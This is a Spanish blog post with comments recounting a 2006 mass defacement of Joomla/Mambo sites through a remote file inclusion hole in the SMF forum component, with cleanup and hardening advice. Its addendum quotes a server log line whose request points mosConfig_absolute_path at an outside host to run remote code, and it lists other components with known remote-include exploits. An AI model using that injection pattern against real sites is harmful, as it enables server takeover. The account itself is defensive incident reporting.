Crónica de un ataque, vulnerabilidad grave módulo SMF para Mambo – Joomla

Primero y antes de nada os pasteo la información que acabo de publicar en Daboweb;

Se ha reportado una vulnerabilidad muy grave explotable tanto local como remótamente en el componente de integración en Mambo- Joomla y foros SMFhasta donde he podido comprobar también afecta a Joomla) la solución pasa por parchearlo urgentemente desde aquí. versiones 1.3.1.3 y anteriores. (Mambo-SMF Forum (component for Mambo) (que

Fuente. En estos momentos están cayendo cientos de sites dado que la vulnerabilidad explotada da privilegios en el servidor web y uno de los ataques se basa en sobreescribir las páginas de inicio entre otras cosas de las webs bajo Mambo – Joomla con ese componente instalado.

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

AÑADO A LAS 22H AL FINAL, «HUELLA» DEL ATAQUE, LOCALIZACIÓN Y CONSEJOS PARA PALIARLOS.

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Crónica de un ataque;

Son casi las 5 am y ha sido una noche larga, me sonó el téléfono a eso de las 23 h y mi amigo Oscar me dijo «Dabo, han hackeado el servidor de Caborian«… Entré a ver la web y en el index ponía ;

by Thehacker

Ownz you

safe_mode: OFF

Realmente la web se vio desfigurada solo unos minutos, a partir de ahí os podéis imaginar, varias de las webs alojadas allí con Joomla tenían el index modificado y en esos momentos no sabes hasta donde han podido entrar.

Por un lado Destroyer empezó a buscar info y Naveiras, Oreixa y yo nos conectamos a la máquina a ver si el problema era un exploit no conocido de Joomla, del PHP, Apache etc etc.

Paramos todo, todas las comprobaciones de rigor (rootkits, IDS, logs, comparación de archivos, posiblidad de zappers o «cloakers» para borrar los logs, MySQL, SSH, etc etc y un largo etc).

Una vez que vimos que el sistema estaba «limpio» (que hasta tiempo después no puedes estar seguro) e hicimos varias modificaciones en el, preparamos la máquina para ponerla en producción de nuevo.

Destroyer me reportaba por otro lado datos sobre el grupo que lo había hecho a raiz de un post en los foros de Joomla, este post también nos dio alguna pista. Desde ahí fuimos a ver la lista de cientos de sites que había «defaceado» el grupo que lleva hackeados casi 20.000 sites , en la segunda página vimos la entrada de Caborian.

Reinciamos el server, más comprobaciones, previamente habíamos limpiado los index.php y levantamos el Apache, PHP etc. Abrimos por unos seg y miramos la página, seguía igual, el problema estaba también en el template, (mainbody.php etc).

Cambiamos el template por uno nuevo y todo ok

Hasta ahí bien, luego viene la gran pregunta ¿Cómo?. Era importante para evitar volver a caer en el mismo ataque. Empiezo a mirar listas de correo de Exploits, webs etc y nada, nada para Joomla. Hasta que de repente mirando el frsirt y viendo que había de hoy una vulnerabilidad para Joomla pero con un componente no instalado veo una para Mambo, se publicó como a las 23,40 más o menos

Una que afecta al componente de integración de Mambo y y los foros SMF, entonces me doy cuenta de que en rallyes.net había un módulo instalado para eso ?! y que el módulo a pesar de lo que decia el frsirt es igual para Joomla y zas ! borramos el módulo así como algún otro ajuste en los .htacces etc.

Son las 5,15 am, yo no administro esa máquina pero soy uno de los responsables de la seguridad de las aplicaciones, me hubiera pasado en Daboweb igualmente, fue por minutos y creo que de no haber sufrido el ataque, nunca hubiera enlazado la relación entre ambos CMS (joomla y Mambo) y el módulo o lo hubiese hecho tarde otro tema es hasta que punto la hubiera afectado.

El deface (desfiguración de la web) fue limpio y sirvió para asegurar más la máquina, la ejecución impecable y aunque alguno no lo entienda hay que darles las gracias, podían haber hecho mucho más daño, robado datos personales, correos, inyectar Spam etc etc y solo dejaron constancia de que era vulnerable.

Hay lógicamente otras formas mejores de avisar (el mítico mail XD) pero hackeaban en plan «industrial» y con prisa.

Otra cosa es que no puedas dar nada por hecho en ese momento y compruebes todo.

El script que utilizaron (o exploit) podía haber llevado otros parámetros pero no querían buscar más daño que el que fue. Estas cosas no te las puedes tomar como algo personal, sino aprender de ellas y lo califico a pesar del mal rato como un ataque ligth, no diré «ético» pero suave para lo que podía haber sido.

Para alguien como yo que acepta el hacking como algo natural y que no concibe las redes o Internet sin su presencia para ayudar a su evolución, no hablo del Defacear o destruir sites pero mi sorpresa fue hasta cierto punto limitada.

Me voy a dormir, un saludo para todos los Caborians y mis compañeros de la línea de comandos (vaya nochecita XD) y búsqueda de información.

Mañana será otro gran día para aprender un poco más ;D.

———————————–

INFORMACIÓN AÑADIDA A LAS 22H. MAS DATOS, LOCALIZACIÓN Y CONSEJOS.

Ayer estaba muy cansado y no me dio tiempo más que para publicar en Daboweb la vulnerabilidad pero ya con su correspondiente parcheo y avisar que afectaba a Joomla.

Algún dato más, he modificado las IPs porque el server desde donde se lanzó el ataque está comprometido y hemos avisado al administrador.

También alguna información sobre la propia máquina atacada he de ocultarla ya que aunque colabore no es mi máquina y no soy yo quien la administro -;)

Sobre el ataque;

xxxxxx_log

XXX.45.133.X – – [19/Jul/2006:XXXX +0200] «GET /component/option,com_smf/Itemid,63/

components/com_smf/smf.php?mosConfig_absolute_path=

rXXXXXXX.com/components/com_forum/includes/develop? HTTP xxxxxxx «-» «Mozilla/5.0»

Es una parte, el servidor afectado tenía un Mambo instalado comprometido, es de Asia y es una universidad y dejaron bastantes rastros por cierto.

Alguna medida para paliar los ataques de estos días.

Hay Exploits en estos momentos para estos módulos;

Sitemap 2.0.0 for Mambo 4.5.1 CMS Remote File Include Vulnerabilities PHPbb <= Remote Include Vulnerability RSGALLERY <= Remote Include Vulnerability com_loudmouth <= remote file inclusion mambo component videodb <== remote file inclusion mambo component booklibrary <= remote inclusion Mambo Gallery Manager (MGM) <== remote file inclusion comspray mambo <= remote inclusion com_artlinks <== remote file inclusion Jombok remote file inclusion HTMLArea3 addon - ImageManager <= 1.5 Remote File Include Vulnerabilities Hashcash Mambo Component <= v1.2.1 Remote File Include Vulnerabilities Desde los foros de Joomla – Mambo dan bastantes consejos pero en la medida de lo posible evitar usar componentes y módulos de terceros y en su defecto id a las webs de origen a ver si hay updates.

Aquí os pongo un link para mediante el uso de .htaccess, paliar en parte el efecto de los exploits.

También comentar algo muy importante, es fundamental que el «Apache» no pueda escribir en ningún directorio y menos donde están las webs alojadas (lógicamente menos el temporal), en el caso de una escalada de privilegios podrán intentar inyectar código SQL pero a la hora de escribir los directorios (a no ser que sea bajo ciertas circunstancias) lo tendrá más dificil.

Podría en ese caso corromper alguna base de datos pero vaya, con backups regulares no tendreís problemas tan graves.

Otro tema es la correcta configuración de a veces los grandes olvidados, permisos, propietarios y grupos. Algo a tener en cuenta.

De todos modos, en los propios sites de Joomla o Mambo encontraréis una información mucho mejor que esta y más completa.

Saludos , Dabo !

Añado, 21-07-06

(Un saludo a toda la peña del elhacker.net, aquí uno personalizado -;)

También estamos hablando del tema en este post de agradecimiento a hosting.LMI.

Añado en otro post día 23-07-06, más ataques y bloqueos de IPs.

dabo

Work: @apache_ctl | Edu: Hacker (and free) Culture & @debianhackers, @daboweb | Life: @verticalplaneta | ¿Hacktivista? (legítima defensa) GPG Key 0xBC695F37

dabo escribió 1255 entradas

Navegación de la entrada


Comentarios

  • jespinazo

    buen trabajo hermano, vaya putada eh en fin…

  • Liamngls

    Antes no te pude responder a tu última pregunta, se veía todo bien … :)

  • david

    Pues yo este tipo de cosas no las llevo igual de bien que tu, será que no soy hacker y no lo entiendo.

    Mañana te puedo romper los cristales del coche en plan ético, eso sí, para demostrarte que no son irrompibles y que deberías cambiarlos.

    Creo que hay mejores formas de avisar a alguien de una vulnerabilidad que tirar la web abajo y todo lo que se pille por delante ;-)

    Un ético saludo :-)

  • maty

    Lo mejor, siempre, es la TRANSPARENCIA.

    Encontrar una vulnerabilidad y dedicarse a fastidiar a miles de webs no me parece nada meritorio, aunque sólo retoquen la página de inicio (lo mejor es restaurar la última copia de seguridad segura y hacer todos los retoques). De ahí la conveniencia en ser estrictos con la copia de seguridad diaria.

    Lo dicho, cuando es indiscriminado, uno se aparta de cualquier ética o moral.

    Si el ataque hubiese sido después de un tiempo, una vez que la vulnerabilidad hubiese sido reportada y solucionada, aún podría intentar justificarse, como «lección» para aquellos que no se toman en serio la seguridad, pero no ha sido el caso, de ahí que considere que ha habido MALA FE, no destructiva, pero mala fe, al fin y al cabo.

    Justo el día 17: How to restore a hacked Linux server

  • leika-man

    Hola,pensaba que había sido el mismo ataque que le hicieron a macuarium aquí lo explican esta semana pero me alegro de que no os hayan infectado ni nada de eso con virus o robado datos.
    Animo que en caborian estais gente muy competente y como dicen arriba transparentes que se agradece. un saludo desde Zamora.

  • ladyblues

    Estoy con David, hay formas más éticas y razonables de avisar de que un server o algo no está en condiciones. No obstante también mantengo otra teoría: A veces, la mejor forma de ponerte las pilas es recibiendo leñazos.
    Lo que tengo claro es que estos tres «malditos» (Naveiras, Oreixa y Damborio) son muy pro y lo han solucionado bien rápido, no esperaba tanta rapidez en vista de la situación. Por la parte que me toca (Caborian) tengo mucha confianza en ellos.

    Y otra cosa… lo que no haga uno mismo…

    Buen trabajo.
    Mabel.

  • daf

    Yo no entiendo casi nada de lo que dices, lo que si entiendo y comparto es el comentario de ladyblues, sois unos pro del copón y tengo plena confianza en vosotros. Un abrazo bro

  • dabo

    Hola, gracias a todos por el apoyo -;) Maty, conocía el doc o más bien alguna versión del mismo, está muy bien la verdad, en estos casos cuanto más te documentes mejor que mejor ;D.

    Hay varios comentarios como para ir citando pero por partes, sobre mi opinión a la hora de como se ejecutó el ataque que realmente iban en cadena, búsquedas en Google + exploit, etc etc.

    Está habiendo hoy y ayer mucha «fiesta» a nivel de Defaces y hackeo masivos, también algo con phpBBtomatoma, sobre lo del M2F mail to forum así como lo que comenta el amigo Leika-man sobre lo de invision Board y Macuarium etc etc .

    Por compararlo por ejemplo con el ataque del que habla mi amigo Kuka en Tomatoma, es muy leve, con el Invision Board de Macuarium también, en ese caso según he leido hay Spam con alguna «joya» más incluida pero las vulnerabilidades «0 day» son imprevisibles, hay maneras de intentar mitigarlo a nivel de server pero no hay nada invulnerable, ellos no pudieron hacer nada más que lo que hicieron, limpiar el sistema, relanzarlo todo y seguir que no queda otra y no solo cayeron ellos sino miles de sites.

    Es por ello que si comparo no con estos casos sino con muchos que ocurren todos los días, el ataque fue «leve» dentro de lo que cabe y aunque te pueda doler, hay que ser positivos y a fuerza de mirar la máquina resulta que igual encuentras una aguja en un pajar que no esperabas….

    Se que hablar de «etica» en un caso como este es algo muy ambiguo y que puede chocar pero por la parte que me toca vuelvo a decir que podía haber sido mucho peor que los «defaces» de las index que había allí.

    En estos casos, el admin de la máquina (esto es solo mi opinión) no debe tomárselo como algo personal (aún entendiendo su cabreo lógicamente) sino procurar aprender de la mala experiencia y ser positivo.

    Saludos y gracias !

  • dabo

    Se me olvidaba, , no hay nada de mérito en mis acciones, me falta tanto por aprender que no se por donde empezar a veces -;).

    Cuanto más vas sabiendo más ves tus carencias.

    Saludos

  • Liamngls

    Empieza siempre de menos a más, del número de página más bajo al más alto….aunque si prefieres empezar por el más alto puedes hacerlo.

  • Pingback:

    meneame.net
  • dabo

    He ampliado la info con la «huella» del ataque, consejos breves y la localización del mismo -;)

  • Liamngls

    A mi me han hackeado el .htaccess … gracias ;-)

  • Gepetto

    Lo de los defaces no es algo que me haga mucha gracia, por muy «éticos» que sean (sobre todo si no existe ninguna razón de peso para hacerlos).

    Pero bueno, cuando varios grupos se pican para ver quien realiza más, supongo que sobran los motivos.

  • dabo

    Gepetto, el avisar en esos casos es lo ético pienso yo, es decisión de cada uno el comoactuar y vaya, como bien dices en el caso de grupos lo que buscan son «trofeos» de caza.

    De todos modos lo peor es el momento en el piensas «como», a través de que, hasta donde han entrado….Luego cuando ves como ha sido te relajas.

    Así y todo, después trabajamos en el server creo que bastante bien los 3 juntos. Otro tema es que haya Defaces y Defaces, intrusiones e intrusiones. ya sabes, el mal menor…

    Saludos !

  • dabo

    Un saludo a toda la gente que está entrando desde elhacker.net -;)

  • dabo

    Nuevas vulnerabilidades para otros módulos, también os recuerdo el tema de los directorios que deben estar en 755 y los ficheros en 644.

    VULNERABILIDADES;

    http://www.frsirt.com/english/advisories/2006/2939

    http://www.frsirt.com/english/advisories/2006/2932

    http://www.frsirt.com/english/advisories/2006/2932

    http://www.frsirt.com/english/advisories/2006/2934

    Los que usáis Joomla o Mambo sabéis que para realizar ciertos cambios hace falta que los archivos o directorios tengan permisos totales (777), a veces por comodidad se dejan así y constituye un problema.

    Para hacerlo desde el terminal podéis usar este comando;

    FICHEROS;

    find . -type f | xargs chmod 644

    (busca ficheros en ese directorio así como los sucesivos y les cambia los permisos)

    DIRECTORIOS;

    find . -type d | xargs chmod 755

    Estos permisos son aconsejados también desde Joomla. (y tienen mucha lógica)

    Saludos !

  • dabo

    Se me olvidaba, quienes no tengáis acceso shh lo podéis hacer con cualquier soft FTP.

    Os recuerdo,

    Directorios; drwxr-xr-x (755)

    Ficheros; -rw-r–r– (644)

Comentarios cerrados.